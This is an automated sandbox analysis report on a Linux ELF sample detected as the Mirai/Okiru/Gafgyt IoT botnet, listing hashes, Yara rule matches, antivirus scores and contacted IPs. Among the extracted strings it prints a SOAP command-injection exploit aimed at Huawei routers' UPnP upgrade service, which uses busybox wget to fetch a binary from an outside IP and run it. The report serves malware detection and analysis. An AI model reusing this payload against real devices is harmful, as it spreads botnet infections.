Linux Analysis Report
uycqnGcDJD.elf

Overview

General Information

Sample name: uycqnGcDJD.elf
renamed because original name is a hash value
Original sample name: a4e62f667819edc0c3d826522a9416d7.elf
Analysis ID: 1428716
MD5: a4e62f667819edc0c3d826522a9416d7
SHA1: 74f4f2615f9f8268565c7b7f23af4f462ca39ad4
SHA256: 449f200f7a3c6c4452bdf1b6e475432e9e1c0330e3001c81b6c97d98c7cd746d
Tags: 64elfgafgyt
Infos:

Detection

Mirai, Okiru
Score: 92
Range: 0 - 100
Whitelisted: false

Signatures

Antivirus / Scanner detection for submitted sample
Malicious sample detected (through community Yara rule)
Multi AV Scanner detection for submitted file
Yara detected Mirai
Yara detected Okiru
Machine Learning detection for sample
Found strings indicative of a multi-platform dropper
Sample contains strings indicative of BusyBox which embeds multiple Unix commands in a single executable
Sample has stripped symbol table
Tries to connect to HTTP servers, but all servers are down (expired dropper behavior)
Yara signature match

Classification

Name Description Attribution Blogpost URLs Link
Mirai Mirai is one of the first significant botnets targeting exposed networking devices running Linux. Found in August 2016 by MalwareMustDie, its name means "future" in Japanese. Nowadays it targets a wide range of networked embedded devices such as IP cameras, home routers (many vendors involved), and other IoT devices. Since the source code was published on "Hack Forums" many variants of the Mirai family appeared, infecting mostly home networks all around the world. No Attribution https://malpedia.caad.fkie.fraunhofer.de/details/elf.mirai

AV Detection
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Antivirus / Scanner detection for submitted sample
Source: uycqnGcDJD.elf Avira: detected
Multi AV Scanner detection for submitted file
Source: uycqnGcDJD.elf ReversingLabs: Detection: 55%
Source: uycqnGcDJD.elf Virustotal: Detection: 47% Perma Link
Machine Learning detection for sample
Source: uycqnGcDJD.elf Joe Sandbox ML: detected
Found strings indicative of a multi-platform dropper
Source: uycqnGcDJD.elf String: wgetcurl/bin/busyboxechocatnanotfptkillallpkilltopxargspgrep/proc/proc/%d/cmdlineabcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ/usr/sbin/reboot/usr/bin/reboot/usr/sbin/shutdown/usr/bin/shutdown/usr/sbin/poweroff/usr/bin/poweroff/usr/sbin/halt/usr/bin/halt3f
Tries to connect to HTTP servers, but all servers are down (expired dropper behavior)
Source: global traffic TCP traffic: 192.168.2.23:43928 -> 91.189.91.42:443
Source: global traffic TCP traffic: 192.168.2.23:42836 -> 91.189.91.43:443
Source: global traffic TCP traffic: 192.168.2.23:42516 -> 109.202.202.202:80
Source: unknown TCP traffic detected without corresponding DNS query: 91.189.91.42
Source: unknown TCP traffic detected without corresponding DNS query: 91.189.91.43
Source: unknown TCP traffic detected without corresponding DNS query: 109.202.202.202
Source: unknown TCP traffic detected without corresponding DNS query: 91.189.91.42
Source: unknown TCP traffic detected without corresponding DNS query: 91.189.91.43
Source: unknown TCP traffic detected without corresponding DNS query: 109.202.202.202
Source: unknown TCP traffic detected without corresponding DNS query: 91.189.91.42
Source: uycqnGcDJD.elf String found in binary or memory: http://103.174.73.190/tajma.mpsl;
Source: uycqnGcDJD.elf String found in binary or memory: http://schemas.xmlsoap.org/soap/encoding/
Source: uycqnGcDJD.elf String found in binary or memory: http://schemas.xmlsoap.org/soap/envelope/
Source: unknown Network traffic detected: HTTP traffic on port 43928 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 42836 -> 443

System Summary
barindex
Malicious sample detected (through community Yara rule)
Source: uycqnGcDJD.elf, type: SAMPLE Matched rule: Linux_Trojan_Gafgyt_28a2fe0c Author: unknown
Source: uycqnGcDJD.elf, type: SAMPLE Matched rule: Linux_Trojan_Gafgyt_9e9530a7 Author: unknown
Source: uycqnGcDJD.elf, type: SAMPLE Matched rule: Linux_Trojan_Gafgyt_d4227dbf Author: unknown
Source: uycqnGcDJD.elf, type: SAMPLE Matched rule: Linux_Trojan_Gafgyt_d996d335 Author: unknown
Source: uycqnGcDJD.elf, type: SAMPLE Matched rule: Linux_Trojan_Gafgyt_620087b9 Author: unknown
Source: uycqnGcDJD.elf, type: SAMPLE Matched rule: Linux_Trojan_Gafgyt_33b4111a Author: unknown
Source: uycqnGcDJD.elf, type: SAMPLE Matched rule: Linux_Trojan_Mirai_564b8eda Author: unknown
Source: uycqnGcDJD.elf, type: SAMPLE Matched rule: Linux_Trojan_Mirai_d18b3463 Author: unknown
Source: 6228.1.0000000000400000.000000000041d000.r-x.sdmp, type: MEMORY Matched rule: Linux_Trojan_Gafgyt_28a2fe0c Author: unknown
Source: 6228.1.0000000000400000.000000000041d000.r-x.sdmp, type: MEMORY Matched rule: Linux_Trojan_Gafgyt_9e9530a7 Author: unknown
Source: 6228.1.0000000000400000.000000000041d000.r-x.sdmp, type: MEMORY Matched rule: Linux_Trojan_Gafgyt_d4227dbf Author: unknown
Source: 6228.1.0000000000400000.000000000041d000.r-x.sdmp, type: MEMORY Matched rule: Linux_Trojan_Gafgyt_d996d335 Author: unknown
Source: 6228.1.0000000000400000.000000000041d000.r-x.sdmp, type: MEMORY Matched rule: Linux_Trojan_Gafgyt_620087b9 Author: unknown
Source: 6228.1.0000000000400000.000000000041d000.r-x.sdmp, type: MEMORY Matched rule: Linux_Trojan_Gafgyt_33b4111a Author: unknown
Source: 6228.1.0000000000400000.000000000041d000.r-x.sdmp, type: MEMORY Matched rule: Linux_Trojan_Mirai_564b8eda Author: unknown
Source: 6228.1.0000000000400000.000000000041d000.r-x.sdmp, type: MEMORY Matched rule: Linux_Trojan_Mirai_d18b3463 Author: unknown
Source: Process Memory Space: uycqnGcDJD.elf PID: 6228, type: MEMORYSTR Matched rule: Linux_Trojan_Gafgyt_28a2fe0c Author: unknown
Sample contains strings indicative of BusyBox which embeds multiple Unix commands in a single executable
Source: Initial sample String containing 'busybox' found: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(rm -rf /tmp/linuxxx; /bin/busybox wget -g 103.174.73.190 -l /tmp/linuxxx -r /tajma.mips; /bin/busybox chmod 777 /tmp/linuxxx; /tmp/linuxxx selfrep.tajma)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: Initial sample String containing 'busybox' found: /bin/busybox/
Source: Initial sample String containing 'busybox' found: /bin/busybox
Source: Initial sample String containing 'busybox' found: HTTP/1.1 200 OKskyljneegay.armskyljneegay.arm5skyljneegay.arm6skyljneegay.arm7skyljneegay.mipsskyljneegay.mpslskyljneegay.x86_64skyljneegay.sh4<?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(rm -rf /tmp/linuxxx; /bin/busybox wget -g 103.174.73.190 -l /tmp/linuxxx -r /tajma.mips; /bin/busybox chmod 777 /tmp/linuxxx; /tmp/linuxxx selfrep.tajma)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>POST /ctrlt/DeviceUpgrade_1 HTTP/1.1
Source: Initial sample String containing 'busybox' found: Content-Length: /proc//proc/%s/exe/proc/self/exe/var/Challenge//app/hi3511/gmDVRibox/usr/dvr_main _8182T_1108/mnt/mtd/app/gui/var/Kylin/l0 c/udevd/var/tmp/sonia/hicorestm_hi3511_dvr/bin/busybox//usr/lib/systemd/systemd/shellsys/boot/media/srv/var/run/lib/etc/dev/home/Davinci/telnetsshwatchdog/var/spool//var/Sofia/sshd/usr/compress/bin//compress/bin/compress/usr/bashtelnetddropbearencodercundi/var/cundi//var/Condi/system/root/dvr_gui//root/dvr_app//var/tmp//anko-app//data/local/tmp//usr/lib/systemd//system/system/bin//gm/bin//mnt//home/process//home/helper/home/davinci/z/bin//mnt/mtd//tmp/sqfs//usr/libexec//usr/sbin//z/zbin//usr/bin/usr/lib/openssh/sftp-server//opt/anko-app/ankosample _8182T_1104//usr/libexec/openssh/sftp-server/POST /goform/set_LimitClient_cfg HTTP/1.1
Source: Initial sample String containing 'busybox' found: wgetcurl/bin/busyboxechocatnanotfptkillallpkilltopxargspgrep/proc/proc/%d/cmdlineabcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ/usr/sbin/reboot/usr/bin/reboot/usr/sbin/shutdown/usr/bin/shutdown/usr/sbin/poweroff/usr/bin/poweroff/usr/sbin/halt/usr/bin/halt3f
Sample has stripped symbol table
Source: ELF static info symbol of initial sample .symtab present: no
Yara signature match
Source: uycqnGcDJD.elf, type: SAMPLE Matched rule: Linux_Trojan_Gafgyt_28a2fe0c os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = a2c6beaec18ca876e8487c11bcc7a29279669588aacb7d3027d8d8df8f5bcead, id = 28a2fe0c-eed5-4c79-81e6-3b11b73a4ebd, last_modified = 2021-09-16
Source: uycqnGcDJD.elf, type: SAMPLE Matched rule: Linux_Trojan_Gafgyt_9e9530a7 reference_sample = 01da73e0d425b4d97c5ad75c49657f95618b394d09bd6be644eb968a3b894961, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = d6ad6512051e87c8c35dc168d82edd071b122d026dce21d39b9782b3d6a01e50, id = 9e9530a7-ad4d-4a44-b764-437b7621052f, last_modified = 2021-09-16
Source: uycqnGcDJD.elf, type: SAMPLE Matched rule: Linux_Trojan_Gafgyt_d4227dbf reference_sample = 01da73e0d425b4d97c5ad75c49657f95618b394d09bd6be644eb968a3b894961, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = 58c4b1d4d167876b64cfa10f609911a80284180e4db093917fea16fae8ccd4e3, id = d4227dbf-6ab4-4637-a6ba-0e604acaafb4, last_modified = 2021-09-16
Source: uycqnGcDJD.elf, type: SAMPLE Matched rule: Linux_Trojan_Gafgyt_d996d335 reference_sample = b511eacd4b44744c8cf82d1b4a9bc6f1022fe6be7c5d17356b171f727ddc6eda, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = e9ccb8412f32187c309b0e9afcc3a6da21ad2f1ffa251c27f9f720ccb284e3ac, id = d996d335-e049-4052-bf36-6cd07c911a8b, last_modified = 2021-09-16
Source: uycqnGcDJD.elf, type: SAMPLE Matched rule: Linux_Trojan_Gafgyt_620087b9 reference_sample = 01da73e0d425b4d97c5ad75c49657f95618b394d09bd6be644eb968a3b894961, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = 06cd7e6eb62352ec2ccb9ed48e58c0583c02fefd137cd048d053ab30b5330307, id = 620087b9-c87d-4752-89e8-ca1c16486b28, last_modified = 2021-09-16
Source: uycqnGcDJD.elf, type: SAMPLE Matched rule: Linux_Trojan_Gafgyt_33b4111a reference_sample = 01da73e0d425b4d97c5ad75c49657f95618b394d09bd6be644eb968a3b894961, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = 9c3b63b9a0f54006bae12abcefdb518904a85f78be573f0780f0a265b12d2d6e, id = 33b4111a-e59e-48db-9d74-34ca44fcd9f5, last_modified = 2021-09-16
Source: uycqnGcDJD.elf, type: SAMPLE Matched rule: Linux_Trojan_Mirai_564b8eda reference_sample = ff04921d7bf9ca01ae33a9fc0743dce9ca250e42a33547c5665b1c9a0b5260ee, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 63a9e43902e7db0b7a20498b5a860e36201bacc407e9e336faca0b7cfbc37819, id = 564b8eda-6f0e-45b8-bef6-d61b0f090a36, last_modified = 2021-09-16
Source: uycqnGcDJD.elf, type: SAMPLE Matched rule: Linux_Trojan_Mirai_d18b3463 reference_sample = cd86534d709877ec737ceb016b2a5889d2e3562ffa45a278bc615838c2e9ebc3, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 4b3d3bb65db2cdb768d91c50928081780f206208e952c74f191d8bc481ce19c6, id = d18b3463-1b5e-49e1-9ae8-1d63a10a1ccc, last_modified = 2021-09-16
Source: 6228.1.0000000000400000.000000000041d000.r-x.sdmp, type: MEMORY Matched rule: Linux_Trojan_Gafgyt_28a2fe0c os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = a2c6beaec18ca876e8487c11bcc7a29279669588aacb7d3027d8d8df8f5bcead, id = 28a2fe0c-eed5-4c79-81e6-3b11b73a4ebd, last_modified = 2021-09-16
Source: 6228.1.0000000000400000.000000000041d000.r-x.sdmp, type: MEMORY Matched rule: Linux_Trojan_Gafgyt_9e9530a7 reference_sample = 01da73e0d425b4d97c5ad75c49657f95618b394d09bd6be644eb968a3b894961, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = d6ad6512051e87c8c35dc168d82edd071b122d026dce21d39b9782b3d6a01e50, id = 9e9530a7-ad4d-4a44-b764-437b7621052f, last_modified = 2021-09-16
Source: 6228.1.0000000000400000.000000000041d000.r-x.sdmp, type: MEMORY Matched rule: Linux_Trojan_Gafgyt_d4227dbf reference_sample = 01da73e0d425b4d97c5ad75c49657f95618b394d09bd6be644eb968a3b894961, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = 58c4b1d4d167876b64cfa10f609911a80284180e4db093917fea16fae8ccd4e3, id = d4227dbf-6ab4-4637-a6ba-0e604acaafb4, last_modified = 2021-09-16
Source: 6228.1.0000000000400000.000000000041d000.r-x.sdmp, type: MEMORY Matched rule: Linux_Trojan_Gafgyt_d996d335 reference_sample = b511eacd4b44744c8cf82d1b4a9bc6f1022fe6be7c5d17356b171f727ddc6eda, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = e9ccb8412f32187c309b0e9afcc3a6da21ad2f1ffa251c27f9f720ccb284e3ac, id = d996d335-e049-4052-bf36-6cd07c911a8b, last_modified = 2021-09-16
Source: 6228.1.0000000000400000.000000000041d000.r-x.sdmp, type: MEMORY Matched rule: Linux_Trojan_Gafgyt_620087b9 reference_sample = 01da73e0d425b4d97c5ad75c49657f95618b394d09bd6be644eb968a3b894961, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = 06cd7e6eb62352ec2ccb9ed48e58c0583c02fefd137cd048d053ab30b5330307, id = 620087b9-c87d-4752-89e8-ca1c16486b28, last_modified = 2021-09-16
Source: 6228.1.0000000000400000.000000000041d000.r-x.sdmp, type: MEMORY Matched rule: Linux_Trojan_Gafgyt_33b4111a reference_sample = 01da73e0d425b4d97c5ad75c49657f95618b394d09bd6be644eb968a3b894961, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = 9c3b63b9a0f54006bae12abcefdb518904a85f78be573f0780f0a265b12d2d6e, id = 33b4111a-e59e-48db-9d74-34ca44fcd9f5, last_modified = 2021-09-16
Source: 6228.1.0000000000400000.000000000041d000.r-x.sdmp, type: MEMORY Matched rule: Linux_Trojan_Mirai_564b8eda reference_sample = ff04921d7bf9ca01ae33a9fc0743dce9ca250e42a33547c5665b1c9a0b5260ee, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 63a9e43902e7db0b7a20498b5a860e36201bacc407e9e336faca0b7cfbc37819, id = 564b8eda-6f0e-45b8-bef6-d61b0f090a36, last_modified = 2021-09-16
Source: 6228.1.0000000000400000.000000000041d000.r-x.sdmp, type: MEMORY Matched rule: Linux_Trojan_Mirai_d18b3463 reference_sample = cd86534d709877ec737ceb016b2a5889d2e3562ffa45a278bc615838c2e9ebc3, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 4b3d3bb65db2cdb768d91c50928081780f206208e952c74f191d8bc481ce19c6, id = d18b3463-1b5e-49e1-9ae8-1d63a10a1ccc, last_modified = 2021-09-16
Source: Process Memory Space: uycqnGcDJD.elf PID: 6228, type: MEMORYSTR Matched rule: Linux_Trojan_Gafgyt_28a2fe0c os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = a2c6beaec18ca876e8487c11bcc7a29279669588aacb7d3027d8d8df8f5bcead, id = 28a2fe0c-eed5-4c79-81e6-3b11b73a4ebd, last_modified = 2021-09-16
Source: classification engine Classification label: mal92.troj.linELF@0/0@0/0

Stealing of Sensitive Information
barindex
Yara detected Mirai
Source: Yara match File source: uycqnGcDJD.elf, type: SAMPLE
Source: Yara match File source: 6228.1.0000000000400000.000000000041d000.r-x.sdmp, type: MEMORY
Source: Yara match File source: Process Memory Space: uycqnGcDJD.elf PID: 6228, type: MEMORYSTR
Yara detected Okiru
Source: Yara match File source: uycqnGcDJD.elf, type: SAMPLE
Source: Yara match File source: 6228.1.0000000000400000.000000000041d000.r-x.sdmp, type: MEMORY
Source: Yara match File source: Process Memory Space: uycqnGcDJD.elf PID: 6228, type: MEMORYSTR

Remote Access Functionality
barindex
Yara detected Mirai
Source: Yara match File source: uycqnGcDJD.elf, type: SAMPLE
Source: Yara match File source: 6228.1.0000000000400000.000000000041d000.r-x.sdmp, type: MEMORY
Source: Yara match File source: Process Memory Space: uycqnGcDJD.elf PID: 6228, type: MEMORYSTR
Yara detected Okiru
Source: Yara match File source: uycqnGcDJD.elf, type: SAMPLE
Source: Yara match File source: 6228.1.0000000000400000.000000000041d000.r-x.sdmp, type: MEMORY
Source: Yara match File source: Process Memory Space: uycqnGcDJD.elf PID: 6228, type: MEMORYSTR

No Screenshots

  • No. of IPs < 25%
  • 25% < No. of IPs < 50%
  • 50% < No. of IPs < 75%
  • 75% < No. of IPs

Contacted Public IPs

IP Domain Country Flag ASN ASN Name Malicious
109.202.202.202
 unknown Switzerland
13030 INIT7CH false
91.189.91.43
 unknown United Kingdom
41231 CANONICAL-ASGB false
91.189.91.42
 unknown United Kingdom
41231 CANONICAL-ASGB false